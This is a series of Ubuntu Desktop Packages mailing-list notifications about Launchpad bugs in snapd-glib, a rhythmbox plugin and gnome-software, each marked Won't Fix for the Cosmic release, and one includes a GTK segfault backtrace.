Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: snapd-glib (Ubuntu Cosmic) Status: Triaged => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to snapd-glib in Ubuntu. https://bugs.launchpad.net/bugs/1831827 Title: Update to 1.48 Status in snapd-glib package in Ubuntu: Fix Released Status in snapd-glib source package in Xenial: Triaged Status in snapd-glib source package in Bionic: Triaged Status in snapd-glib source package in Cosmic: Won't Fix Status in snapd-glib source package in Disco: Triaged Status in snapd-glib source package in Eoan: Fix Released Bug description: [Impact] A newer snapd-glib is available that adds support for new features in snapd. snapd-glib has an SRU exception as per https://wiki.ubuntu.com/SnapdGlibUpdates [Test Case] The reverse depends of snapd-glib should continue to function, this is currently: - gnome-software - gnome-initial-setup - pulseaudio [Regression Potential] Any new release has a risk of introducing bugs, this is mitigated by automatic regression tests. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/snapd-glib/+bug/1831827/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1812683] Re: rhythmbox crashes when trying to play music
Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: rhythmbox-plugin-alternative-toolbar (Ubuntu Cosmic) Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to rhythmbox-plugin-alternative-toolbar in Ubuntu. https://bugs.launchpad.net/bugs/1812683 Title: rhythmbox crashes when trying to play music Status in rhythmbox-plugin-alternative-toolbar package in Ubuntu: Fix Released Status in rhythmbox-plugin-alternative-toolbar source package in Bionic: Incomplete Status in rhythmbox-plugin-alternative-toolbar source package in Cosmic: Won't Fix Status in rhythmbox-plugin-alternative-toolbar source package in Disco: Fix Released Bug description: Thread 1 "rhythmbox" received signal SIGSEGV, Segmentation fault. 0x77183384 in gtk_tree_view_get_column () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 (gdb) bt #0 0x77183384 in gtk_tree_view_get_column () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #1 0x76ecd5fa in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #2 0x76ece792 in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #3 0x76ecf445 in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #4 0x7718d1fc in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #5 0x710bedae in ffi_call_unix64 () at /usr/lib/x86_64-linux-gnu/libffi.so.6 #6 0x710be71f in ffi_call () at /usr/lib/x86_64-linux-gnu/libffi.so.6 #7 0x76be3ced in g_cclosure_marshal_generic_va () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #8 0x76be3346 in () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #9 0x76bfe9ff in g_signal_emit_valist () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #10 0x76bff12f in g_signal_emit () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #11 0x7700f7fc in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #12 0x76be6008 in g_cclosure_marshal_VOID__BOXEDv () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #13 0x76be3346 in () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #14 0x76bfe9ff in g_signal_emit_valist () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #15 0x76bff12f in g_signal_emit () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #16 0x7700c78e in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #17 0x7700dcdb in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #18 0x7701099e in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #19 0x76fde1e1 in gtk_event_controller_handle_event () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #20 0x7719d85b in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #21 0x77b46642 in () at /usr/lib/x86_64-linux-gnu/librhythmbox-core.so.10 #22 0x7705815b in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #23 0x76be310d in g_closure_invoke () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #24 0x76bf605e in () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #25 0x76bfe0af in g_signal_emit_valist () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #26 0x76bff12f in g_signal_emit () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 #27 0x7719fb04 in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #28 0x770551ce in () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #29 0x770572a8 in gtk_main_do_event () at /usr/lib/x86_64-linux-gnu/libgtk-3.so.0 #30 0x75323765 in () at /usr/lib/x86_64-linux-gnu/libgdk-3.so.0 #31 0x75353f82 in () at /usr/lib/x86_64-linux-gnu/libgdk-3.so.0 #32 0x76909387 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 #33 0x769095c0 in () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 #34 0x7690964c in g_main_context_iteration () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 #35 0x737e7e3d in g_application_run () at /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0 #36 0x77aa0b09 in rb_application_run () at /usr/lib/x86_64-linux-gnu/librhythmbox-core.so.10 #37 0x4d57 in main () ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libgstreamer1.0-0 1.14.1-1~ubuntu18.04.1 ProcVersionSignature: Ubuntu 4.15.0-43.46-generic 4.15.18 Uname: Linux 4.15.0-43-generic x86_64 NonfreeKernelModules: openafs ApportVersion: 2.20.9-0ubuntu7.5 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Jan 21 16:14:12 2019 SourcePackage: gstreamer1.0 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/rhythmbox-plugin-alternative-toolbar/+bug/1812683/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : h
[Desktop-packages] [Bug 1816396] Re: Starting snap from the after-install notification fails
Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: gnome-software (Ubuntu Cosmic) Status: Triaged => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1816396 Title: Starting snap from the after-install notification fails Status in gnome-software package in Ubuntu: Triaged Status in gnome-software source package in Bionic: Triaged Status in gnome-software source package in Cosmic: Won't Fix Bug description: [Impact] The launch button on the notification shown after snaps are installed doesn't work. [Test Case] 1. Open GNOME Software 2. Select a snap that is not installed 3. Install that snap 4. Switch focus to another application (i.e. so GNOME Software doesn't have focus) Expected result: A notification is shown saying the app is installed with a button that launches it. Observed result: A notification is shown but the launch button give an error like "no such desktop file: io.snapcraft.vlc-" [Regression Potential] TBD To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1816396/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1818920] Re: Snap without icons use old asset
Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: gnome-software (Ubuntu Cosmic) Status: Fix Committed => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1818920 Title: Snap without icons use old asset Status in gnome-software package in Ubuntu: Fix Released Status in gnome-software source package in Xenial: Fix Committed Status in gnome-software source package in Bionic: Fix Committed Status in gnome-software source package in Cosmic: Won't Fix Status in gnome-software source package in Disco: Fix Committed Bug description: [Impact] GNOME Software uses an outdated icon for snaps without icons. [Test Case] 1. Open GNOME Software 2. Look for a snap that has a default icon (e.g. youtube-dl) Expected behaviour: - The new icon is shown (grey circle with lines) Observed behaviour: - The old icon is shown (grey origami bird snapcraft logo) [Regression Potential] Low, this is just an asset change. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1818920/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
